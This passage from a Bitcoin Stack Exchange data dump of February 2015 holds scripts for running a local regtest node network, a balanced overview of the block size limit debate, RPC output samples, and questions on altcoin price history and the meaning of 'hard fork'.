-connect=localhost:17592 -regtest -pid=$HOME/regtest/A/.pid -daemon -debug&#xA;bitcoind -server -listen -port=17592 -rpcuser=bitcoinrpc -rpcpassword=P$SECONDS -rpcport=16592 -datadir=$HOME/regtest/B/ -connect=localhost:17593 -regtest -pid=$HOME/regtest/B/.pid -daemon -debug&#xA;bitcoind -server -listen -port=17593 -rpcuser=bitcoinrpc -rpcpassword=P$SECONDS -rpcport=16593 -datadir=$HOME/regtest/C/ -connect=localhost:17594 -regtest -pid=$HOME/regtest/C/.pid -daemon -debug&#xA;bitcoind -server -listen -port=17594 -rpcuser=bitcoinrpc -rpcpassword=P$SECONDS -rpcport=16594 -datadir=$HOME/regtest/D/ -connect=localhost:17595 -regtest -pid=$HOME/regtest/D/.pid -daemon -debug&#xA;bitcoind -server -listen -port=17595 -rpcuser=bitcoinrpc -rpcpassword=P$SECONDS -rpcport=16595 -datadir=$HOME/regtest/E/ -connect=localhost:17591 -regtest -pid=$HOME/regtest/E/.pid -daemon -debug&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Additionally&lt;/strong&gt;, here's my &lt;code&gt;stop-regtest-network.sh&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#!/bin/bash&#xA;sudo killall --regex bitcoin.*&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I realize my stop script is sloppy, and will kill all bitcoin processes.. if you're so inclined you could modify this to pull the individual pids out of each data directory.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Lastly&lt;/strong&gt;, You will probably need to precreate some data directors for bitcoind if you don't edit the script at all.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mkdir $HOME/regtest/A/&#xA;mkdir $HOME/regtest/B/&#xA;mkdir $HOME/regtest/C/&#xA;mkdir $HOME/regtest/D/&#xA;mkdir $HOME/regtest/E/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You should have regtest bitcoind nodes connecting round-robin on ports 17591, 17592, 17593, 17594 and 17595. Likewise, you should be able to connect to rpc ports 16591, 16592, 16593, 16594 and 16595. If you need to know the RPC password you can check &lt;code&gt;ps aux&lt;/code&gt;, or set an explicit rpcpassword in the script.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;HTH&lt;/p&gt;&#xA;" OwnerUserId="4993" LastActivityDate="2015-02-17T03:39:02.690" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="36085" PostTypeId="1" AcceptedAnswerId="36086" CreationDate="2015-02-17T07:42:18.610" Score="23" ViewCount="4549" Body="&lt;p&gt;Can someone give a quick point by point list, what arguments the proponents and opponents of increased blocksize have for their case?&lt;/p&gt;&#xA;" OwnerUserId="23381" LastEditorUserId="5406" LastEditDate="2015-05-08T09:53:57.227" LastActivityDate="2018-09-15T13:02:24.533" Title="What are the arguments for and against the increase of the block size limit?" Tags="|block|scalability|block-size-increase|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36086" PostTypeId="2" ParentId="36085" CreationDate="2015-02-17T08:21:18.447" Score="21" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;&lt;em&gt;Please note, this answer was written in Februar 2015. The debate has significantly evolved since then, but I haven't gotten around to updating this answer, yet.&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I'm sorry, this kinda turned out less brief than it started. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;em&gt;TL;DR: Very briefly, it is an issue of opposing ideologies:&lt;/em&gt;&lt;/strong&gt;&lt;br&gt;&#xA;Proponents wish to provide a common good to everyone and believe the increase in blocksize to be necessary to that end.&lt;br&gt;&#xA;Opponents feel that a) it is impossible to introduce a change of that magnitude to Bitcoin at this stage, b) bigger blocks will mess up mining dynamics, or c) the increase changes properties of Bitcoin that shouldn't be changed.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h2&gt;What happened before&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Originally, there was no blocksize limit. In fact, Satoshi Nakamoto was envisioning &lt;a href=&quot;http://www.mail-archive.com/cryptography@metzdowd.com/msg09964.html&quot; rel=&quot;noreferrer&quot;&gt;&quot;100 million transactions per day, [...] taking 100GB of bandwidth&quot; even in 2008&lt;/a&gt;. The blocksize limit was introduced later, when people where starting to play around with bitcoin, but before the value picked up significantly, when a worry came up that people might bloat the blockchain with cheap &quot;spam transactions&quot;.¹&lt;br&gt;&#xA;The problem is that 1MiB of transactions provides such a small capacity that, we'd be limited to seven transactions per second at minimal transaction size, or extrapolating from current transaction sizes, around four transactions per second. The block limit has not been encountered yet, and is therefore not yet a serious restriction, however this is significantly less than competing global payment networks can handle.&lt;br&gt;&#xA;The thing is, that Bitcoin has become fairly valuable, and people want different things out of Bitcoin. The &quot;apolitical money&quot; is very political suddenly (as it always has been).  &lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h2&gt;Arguments against increasing&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;There are quite a few different concerns here:  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Bigger blocks will destroy the market for transaction fees&lt;/strong&gt;&lt;br&gt;&#xA;Increasing blocksize will make more room for transactions, which could reduce competition to be included in a block, in turn lowering transaction fees. In the long run, the block reward will dwindle, therefore less money would go towards mining, and the security of the Bitcoin network would wither with the lower income.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Bandwidth requirements are too much for full nodes&lt;/strong&gt;&lt;br&gt;&#xA;At 20MB per block, full nodes would have to download 2.8GB transaction data per day. This will be not only challenging data storage, but might actually be beyond the bandwidth capacity/datacap of some full node maintainers. One must consider especially that full nodes also serve the requests of thin-clients, so upload capacity might be more important than download capacity. However, on internet contracts for home-users upload speed is often significantly lower than download speed.&lt;br&gt;&#xA;It has been suggested that a larger blocksize would quickly lead to a large increase of transaction numbers due to &lt;a href=&quot;http://en.wikipedia.org/wiki/Induced_demand&quot; rel=&quot;noreferrer&quot;&gt;induced demand&lt;/a&gt;.&lt;br&gt;&#xA;&quot;Bigger blocks will lead to centralization.&quot;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Consensus may not be achievable&lt;/strong&gt;&lt;br&gt;&#xA;Once the first block larger than the 1MiB limit will be mined, a hardfork will occur between the network participants that refuse blocks greater than the limit, and network participants that accept it.&lt;br&gt;&#xA;Blocks mined on the old network remain compatible to the new network, but not the other way around. Some voices have announced that they would use the fork as an opportunity to double-spend all their Bitcoins, spending them to themselves on the 1MiB-chain, and selling them on the 20MiB-chain, to profit and drive the new chain in the ground. &#xA;Some users suggest that this supporters of that proposal have sufficient Bitcoin holdings and support that they can essentially force failure of the blocksize increase, they presume that exchanges would land on different sides in the discussion, but all users would quickly flock to the &quot;safe old chain&quot;, once the &quot;civil war&quot; starts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Bitcoin is destroying viability of altcoins&lt;/strong&gt;&lt;br&gt;&#xA;An increased Bitcoin blocksize would decrease demand for other blockchains, hurting investors of altcoins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Bitcoin is not meant for every person on the planet to pay for their every cup of coffee&lt;/strong&gt;&lt;br&gt;&#xA;Some people feel that Bitcoin should be an exclusive privilege for settling between companies and the super-rich. A bigger blocksize would dilute the exclusiveness. They argue that something that is useful, but universally available is worthless. Bitcoin instead is meant to &quot;&lt;a href=&quot;http://trilema.com/2015/lets-address-some-of-the-more-common-pseudo-arguments-raised-by-the-very-stupid-people-that-like-the-gavin-scamcoin-proposal/&quot; rel=&quot;noreferrer&quot;&gt;force the poor to yield to the rich, universally, as a matter of course&lt;/a&gt;&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;People are feeling that something is being decided without them being consulted&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&quot;There is only one proposal, we have no choice.&quot;&lt;/li&gt;&#xA;&lt;li&gt;&quot;We cannot predict how quickly bandwidth will grow, the proposed increase it too much.&quot;&lt;/li&gt;&#xA;&lt;li&gt;&quot;There is no consensus, forking without community support is a dead-end.&quot;&lt;/li&gt;&#xA;&lt;li&gt;&quot;There will be huge problems if we do this.&quot;&lt;/li&gt;&#xA;&lt;li&gt;&quot;Why haven't the miners been asked?&quot;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I have trouble relating to these last statements, as the discussion about the blocksize limit has been going on for years.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h2&gt;Arguments for increasing&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;The transaction capacity is too low to support a global payment network&lt;/strong&gt;&lt;br&gt;&#xA;4.4 tps (transaction per second) are too few to support a global payment network.&lt;br&gt;&#xA;At current network capacity, a bigger demand for transactions would cause regular users to be priced out of the blockchain. One would have to wait forever to have a transaction included in a block, and Bitcoin would eventually only get used to settle between banks, mayor corporations, and the super-rich. The blockchain instead should be accessible to everyone, and therefore the blocksize must be increased. Often, this is followed by the &lt;a href=&quot;http://en.wikipedia.org/wiki/Appeal_to_authority&quot; rel=&quot;noreferrer&quot;&gt;&lt;em&gt;argumentum ab auctoritate&lt;/em&gt;&lt;/a&gt;, that the blocksize limit was always meant to be temporary, and the fork being necessary to achieve the vision Satoshi outlined in the &lt;a href=&quot;http://bitcoin.org/bitcoin.pdf&quot; rel=&quot;noreferrer&quot;&gt;original whitepaper&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Greater blocksize will increase total transaction fees&lt;/strong&gt;&lt;br&gt;&#xA;Even in a bigger block, transactions are not a free resource, as they cost bandwidth, data storage, and cause slower block propagation. Already, miners are not always including all transactions. Therefore, a market for transaction fees would exist even with bigger blocks, and more transactions would cause a higher total of transaction fees.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Effective blocksize will not increase over night&lt;/strong&gt;&lt;br&gt;&#xA;The blockchain of the past six years is smaller than 30GiB. It is wrong to assume that with the introduction of a larger limit, the blocks would suddenly fill up quickly, when they haven't done so before.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Consensus will be achieved before the hardfork is initiated&lt;/strong&gt;&lt;br&gt;&#xA;Major payment providers, exchanges, and mining pools will side with the hardfork supporters, causing the opponents to find themselves to be such a small minority that they will be stuck on an irrelevant alternative chain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Technical issues will be fixed&lt;/strong&gt;&lt;br&gt;&#xA;Slower block propagation due to bigger blocks will be mitigated by Header-first synchronization and &lt;a href=&quot;https://bitcoin.stackexchange.com/q/30648/5406&quot;&gt;Inverted Bloom Lookup Tables&lt;/a&gt;. Internet connections will speed up sufficiently in parallel to increasing traffic demands on the network. Datastorage issues will be solved by introduction of a pruned blockchain, where most &quot;full nodes&quot; only keep a limited number of the last blocks, and few full nodes maintain the complete blockchain.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h2&gt;Conclusion&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Personally, I think it is the natural progression of Bitcoin to increase the blocksize, as I see potential for Bitcoin to serve a broader audience. However, I do get some points of the contrarians, especially that it is hard to make predictions about how this will all play out.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h2&gt;Further reading is found here (and in a million other places):&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;About discussion:&lt;/strong&gt;  &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.ofnumbers.com/2015/02/06/what-is-the-blockchain-hard-fork-missile-crisis/&quot; rel=&quot;noreferrer&quot;&gt;Tim Swanson: What is the blockchain hard fork “missile crisis?”&lt;/a&gt; &lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.reddit.com/r/Bitcoin/comments/2uuyzd/poll_should_the_maximum_block_size_be_increased/&quot; rel=&quot;noreferrer&quot;&gt;Reddit: Should the maximum block size be increased soon&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.quora.com/Who-will-win-the-Bitcoin-blocksize-war&quot; rel=&quot;noreferrer&quot;&gt;Quora: Who will win the Bitconi blocksize war?&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Pro increase:&lt;/strong&gt;  &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://blog.bitcoinfoundation.org/a-scalability-roadmap/&quot; rel=&quot;noreferrer&quot;&gt;Gavin Andresen: A Scalability Roadmap&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://bitcointalk.org/index.php?topic=946236.0&quot; rel=&quot;noreferrer&quot;&gt;DeathAndTaxes: Permanently keeping the 1MB (anti-spam) restriction is a great idea,… if you are a bank.&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Contra increase:&lt;/strong&gt;²  &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://trilema.com/2015/lets-address-some-of-the-more-common-pseudo-arguments-raised-by-the-very-stupid-people-that-like-the-gavin-scamcoin-proposal/&quot; rel=&quot;noreferrer&quot;&gt;Mircea Popescu: Let's address some of the more common pseudo-arguments raised by the very stupid people that like the Gavin scamcoin proposal&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;¹ Does anyone have links to the discussion on the introduction of the blocksize limit? I was looking for that.&lt;br&gt;&#xA;² I'm still looking for more representative contra-positions. Wading through a few threads of some forums gave me a skin rash, but hardly anything useful.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.743" LastActivityDate="2015-08-21T16:29:50.680" CommentCount="12" ContentLicense="CC BY-SA 3.0" />
  <row Id="36088" PostTypeId="1" AcceptedAnswerId="37159" CreationDate="2015-02-17T14:03:25.573" Score="6" ViewCount="21895" Body="&lt;p&gt;&lt;a href=&quot;https://www.quandl.com/CRYPTOCHART&quot; rel=&quot;noreferrer&quot;&gt;Quandl&lt;/a&gt; has some dataset of altcoins but the history is small and unfortunately prices are not updated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://coinmarketcap-nexuist.rhcloud.com/&quot; rel=&quot;noreferrer&quot;&gt;CoinMarketCap JSON API&lt;/a&gt; is great but I understand it provides the lastest update only. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have found on Bitcoincharts a file named rippleUSD.csv.gz but I don't understand the structure. A convertion of the unixtime with in MS Excel (i.e. =A1/(60*60*24)+&quot;1/1/1970&quot;) returns the following dates and time but it is not clear if the last column is price because movements in a single minute interval are huge. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Looking at the Market Overiew API I haven't found relative informations about CSV file structure. Sorry my status does not allow me to post more than 2 links &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;1362466270  5/3/13 6:51 AM  37.5    4.24384928&#xA;1362466300  5/3/13 6:51 AM  37.5    2.83321826&#xA;1362466300  5/3/13 6:51 AM  37.5    1.89147286&#xA;1362466330  5/3/13 6:52 AM  37.5    1.26275819&#xA;1362466330  5/3/13 6:52 AM  37.5    0.84302465&#xA;1362466340  5/3/13 6:52 AM  37.5    0.56264942&#xA;1362466340  5/3/13 6:52 AM  37.5    0.37568073&#xA;1362466350  5/3/13 6:52 AM  37.5    0.25084183&#xA;1362466350  5/3/13 6:52 AM  37.5    0.16748696&#xA;1362466380  5/3/13 6:53 AM  37.5    0.1118625&#xA;1362466380  5/3/13 6:53 AM  37.5    0.07468005&#xA;1362466410  5/3/13 6:53 AM  37.5    0.04984277&#xA;1362466410  5/3/13 6:53 AM  37.5    0.03327999&#xA;1362466480  5/3/13 6:54 AM  37.5    0.02228444&#xA;1362466490  5/3/13 6:54 AM  37.5    0.01485818&#xA;1362466490  5/3/13 6:54 AM  37.49999999 0.00990671&#xA;1362466520  5/3/13 6:55 AM  37.5    0.00660531&#xA;1362466520  5/3/13 6:55 AM  37.5    0.0044041&#xA;1362466550  5/3/13 6:55 AM  37.49999999 0.00293643&#xA;1362466790  5/3/13 6:59 AM  37.5    0.02613439&#xA;1362466930  5/3/13 7:02 AM  37.5    0.00194289&#xA;1362466980  5/3/13 7:03 AM  37.49999999 0.00130038&#xA;1362466980  5/3/13 7:03 AM  37.5    0.00087034&#xA;1362466990  5/3/13 7:03 AM  37.49999999 0.00058252&#xA;1362467000  5/3/13 7:03 AM  37.5    0.00038988&#xA;1362467000  5/3/13 7:03 AM  37.49999999 0.00026095&#xA;1362467030  5/3/13 7:03 AM  37.49999999 0.00011689&#xA;1362467030  5/3/13 7:03 AM  37.5    0.00017465&#xA;1362489380  5/3/13 1:16 PM  40.5    0.00014684&#xA;1362576360  6/3/13 1:26 PM  45  3.63539587&#xA;1362577870  6/3/13 1:51 PM  44.99999999 4.06298514&#xA;1362578760  6/3/13 2:06 PM  44.99999999 1.55555555&#xA;1362578950  6/3/13 2:09 PM  45  0.74606342&#xA;1362604140  6/3/13 9:09 PM  45.4    4.24261608&#xA;1362617400  7/3/13 12:50 AM 44  3.99999999&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Do you know if there is website where it is possible to download historical price of big cap crypto currencies such as Dogecoin, Bitshares, DarkCoin and Ripple ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you,&lt;/p&gt;&#xA;" OwnerUserId="23384" LastEditorUserId="2306" LastEditDate="2015-02-18T02:57:53.700" LastActivityDate="2018-05-08T19:01:42.490" Title="Where can I find historical price of altcoins?" Tags="|altcoin|historical-trade-data|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="36089" PostTypeId="2" ParentId="36083" CreationDate="2015-02-17T15:09:29.377" Score="1" Body="&lt;p&gt;You can use the &lt;code&gt;listtransactions&lt;/code&gt; JSON-RPC call to get the complete list of transactions that have to do with your addresses. This includes both sends and receives. You can filter for the transaction you're looking for by the category (should be &quot;send&quot;), address, amount and time. The txid and confirmations in this RPC call should be what's actually included in the blockchain and can be relied upon.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For reference, here's what the RPC call looks like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[&#xA;{   &#xA;    &quot;account&quot; : &quot;&quot;,&#xA;    &quot;address&quot; : &quot;1ENnzep2ivWYqXjAodTueiZscT6kunAyYs&quot;,&#xA;    &quot;category&quot; : &quot;send&quot;,&#xA;    &quot;amount&quot; : -0.00040000,&#xA;    &quot;fee&quot; : -0.00010000,&#xA;    &quot;confirmations&quot; : 34055,&#xA;    &quot;blockhash&quot; : &quot;000000000000000019313300fa20943b3974a97c1da2de6de13ea1281f77097f&quot;,&#xA;    &quot;blockindex&quot; : 414,&#xA;    &quot;blocktime&quot; : 1404861981,&#xA;    &quot;txid&quot; : &quot;8a1f0f07fb397b2aa0e77995723f2dac9aee7df63a6f05a7db7d168d62a60f94&quot;,&#xA;    &quot;walletconflicts&quot; : [&#xA;    ],&#xA;    &quot;time&quot; : 1404861981,&#xA;    &quot;timereceived&quot; : 1412296394&#xA;}&#xA;]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="23123" LastActivityDate="2015-02-17T15:09:29.377" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="36090" PostTypeId="1" CreationDate="2015-02-17T17:00:18.393" Score="17" ViewCount="10505" Body="&lt;p&gt;&lt;a href=&quot;https://github.com/bitcoin/bips/blob/master/bip-0050.mediawiki&quot; rel=&quot;noreferrer&quot;&gt;BIP 50&lt;/a&gt; describes the 2013 event in which a block chain fork persisted for several hours. Its first paragraph reads:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;A block that had a larger number of total transaction inputs than previously seen was mined and broadcast.  Bitcoin 0.8 nodes were able to handle this, but some pre-0.8 Bitcoin nodes rejected it, causing an unexpected &lt;strong&gt;hard fork of the chain&lt;/strong&gt; [my emphasis].  The pre-0.8 incompatible chain at that point had around 60% of the hash power, ensuring that the split did not automatically resolve.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I interpret this to mean that the term &quot;hard fork&quot; describes a state of the network.  Some nodes have accepted a block, but others have rejected it.  The nodes accepting the questionable block keep and extend it.  The nodes rejecting the block neither keep nor extend it, but rather build their own branch.  The resulting &quot;fork&quot; is only visible to nodes which have accepted the questionable block.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, &lt;a href=&quot;https://en.bitcoin.it/wiki/Hardfork&quot; rel=&quot;noreferrer&quot;&gt;the Wiki&lt;/a&gt; has this to say about a hard fork:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;A hardfork is a change to the bitcoin protocol that makes previously invalid blocks/transactions valid, and therefore requires all users to upgrade.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;In other words, a hard fork is a kind of update to Bitcoin Core (given that Bitcoin Core is the protocol).  The idea was repeated in the top answer to &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/9173/what-is-a-hard-fork&quot;&gt;this SE question&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The difference is subtle, but important.  For example, consider the question: has a hard fork ever occurred?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At least one Core developer says that &lt;a href=&quot;http://www.reddit.com/r/Bitcoin/comments/2s2utx/the_hard_fork_missile_crisis/cnlqcd1&quot; rel=&quot;noreferrer&quot;&gt;Bitcoin has never experienced a hard fork&lt;/a&gt;, apparently using the Wiki definition.  The 2013 fork was not caused by a software update (according to some new, but undocumented information), but rather was (caused by?) nondeterministic behavior that would have happened even without the update.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The answer seems to depend on how you define a hard fork. If a hard fork is a condition of the network, the answer seems to be &quot;yes&quot;.  But if a hard fork is a kind of software update, the answer seems to be &quot;no&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's not hard to see how a software update could lead to a persistent block chain fork as seen by some nodes.  So clearly the two ideas are connected.  But imprecise language around hard forks can lead to confusion, and, more importantly, to incorrect conclusions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So which is it?  Does &quot;hard fork&quot; describe a condition of the network, or a software update?&lt;/p&gt;&#xA;" OwnerUserId="10845" LastEditorUserId="-1" LastEditDate="2018-03-28T03:38:16.647" LastActivityDate="2018-11-23T13:36:50.060" Title="Has a hard fork ever occurred?" Tags="|blockchain-fork|march-2013-fork|" AnswerCount="5" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="36091" PostTypeId="2" ParentId="36052" CreationDate="2015-02-17T21:05:33.277" Score="2" Body="&lt;p&gt;Even though i'm a beginner in everything that concerns cryptocurrencies, please let me propose a guess, that others more prepared will correct. The idea is that an ASIC is a very specialized piece of hardware, dedicated to a single algorithm. If you keep changing the algorithm, there will be no way to create an ASIC that will mimick it; to implement such an algorithm, you'd have to use a piece of hardware so generalized that it would have to be a CPU.&lt;/p&gt;&#xA;" OwnerUserId="24386" LastActivityDate="2015-02-17T21:05:33.277" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="36092" PostTypeId="2" ParentId="36078" CreationDate="2015-02-17T21:10:19.763" Score="-2" Body="&lt;p&gt;If you're using some form of Proof-of-Work, i believe you have to generate enough transactions that can fill a block. Of course that 1st block will refer to the genesys block. Then other transactions will fill a 2nd block, that will refer to the 1st. And so on. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;And voilá, you have the blockchain. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Good luck with your altcoin.&lt;/p&gt;&#xA;" OwnerUserId="24386" LastActivityDate="2015-02-17T21:10:19.763" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36093" PostTypeId="2" ParentId="36064" CreationDate="2015-02-17T21:16:18.007" Score="-1" Body="&lt;p&gt;I'm not familiar with cgminer -- i hope to learn more about it this year -- but a wild guess would be that it tries to configure some device driver, and that needs root priviledges.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are worried about using the root user for mining, maybe you can add this device driver priviledge to a common user using sudo. &lt;/p&gt;&#xA;" OwnerUserId="24386" LastActivityDate="2015-02-17T21:16:18.007" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36095" PostTypeId="1" AcceptedAnswerId="36099" CreationDate="2015-02-17T22:19:37.443" Score="1" ViewCount="1075" Body="&lt;p&gt;I use the multibit wallet which I understand doesn't download the whole bitcoin core i.e. the entire block chain, but it must use the bitcoin core protocol right? So how do I see which version of the protocol my wallet is using? &lt;/p&gt;&#xA;" OwnerUserId="24388" LastActivityDate="2021-01-26T17:49:03.800" Title="How do I see what version of bitcoin core my wallet uses" Tags="|client|multibit|bitcoin-core-development|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36096" PostTypeId="1" AcceptedAnswerId="36097" CreationDate="2015-02-17T23:20:02.170" Score="2" ViewCount="1667" Body="&lt;p&gt;I know that it's possible to sort through the blockchain history for your bitcoins, however it is difficult to trace back your coins to when they were originally mined due to bitcoin mixers.  Is it possible to create a tool that will give a complete history of your coins?  More specifically, is it conceivable that at some point regulators may distinguish between &quot;dirty&quot; and &quot;clean&quot; bitcoins, where &quot;dirty&quot; bitcoins are anything that have passed through a wallet of a known criminal?  Even with bitcoin mixers?&lt;/p&gt;&#xA;" OwnerUserId="21301" LastEditorUserId="5406" LastEditDate="2016-02-26T15:23:52.017" LastActivityDate="2019-01-20T20:56:43.103" Title="&quot;Dirty&quot; Bitcoins/Find Bitcoin origins?" Tags="|traceability|mixing|taint-analysis|fungibility|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36097" PostTypeId="2" ParentId="36096" CreationDate="2015-02-18T00:01:36.430" Score="3" Body="&lt;p&gt;The tool for complete history of all bitcoin minted already exist and its called blockchain. You can see all history here (random transaction selected)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blockchain.info/tx/ff698f3e5321448d4d889fcd3c91f9e5f5767542d2f0fd7e4aa41a83abec3ab7&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://blockchain.info/tx/ff698f3e5321448d4d889fcd3c91f9e5f5767542d2f0fd7e4aa41a83abec3ab7&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is a term taint and it's meaning how two addresses are connected. It partially explained here &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/7966/what-are-tainted-coins-exactly&quot;&gt;What are tainted coins exactly?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bitcoin is not a legal tender and nobody have to accept any bitcoin - with normal dollar any dollar is a dollar that is worth always the same and cannot be legally tainted with crime. It's more legal question that a technical one because government could not adhere to technology reasons. &lt;/p&gt;&#xA;" OwnerUserId="974" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:34.187" LastActivityDate="2015-02-18T00:01:36.430" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36098" PostTypeId="2" ParentId="36095" CreationDate="2015-02-18T02:30:55.110" Score="-2" Body="&lt;p&gt;You can find this out on the command line with:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ bitcoin-cli getinfo&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This will give you an output like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{   &#xA;    &quot;version&quot; : 90400,&#xA;    &quot;protocolversion&quot; : 70002,&#xA;    &quot;walletversion&quot; : 60000,&#xA;    &quot;balance&quot; : 0.62950000,&#xA;    &quot;blocks&quot; : 323377,&#xA;    &quot;timeoffset&quot; : -5,&#xA;    &quot;connections&quot; : 9,&#xA;    &quot;proxy&quot; : &quot;&quot;,&#xA;    &quot;difficulty&quot; : 1.00000000,&#xA;    &quot;testnet&quot; : true,&#xA;    &quot;keypoololdest&quot; : 1412131069,&#xA;    &quot;keypoolsize&quot; : 101,&#xA;    &quot;paytxfee&quot; : 0.00000000,&#xA;    &quot;relayfee&quot; : 0.00001000,&#xA;    &quot;errors&quot; : &quot;&quot;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Version is the actual bitcoin core version and probably what you're looking for.&lt;/p&gt;&#xA;" OwnerUserId="23123" LastActivityDate="2015-02-18T02:30:55.110" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
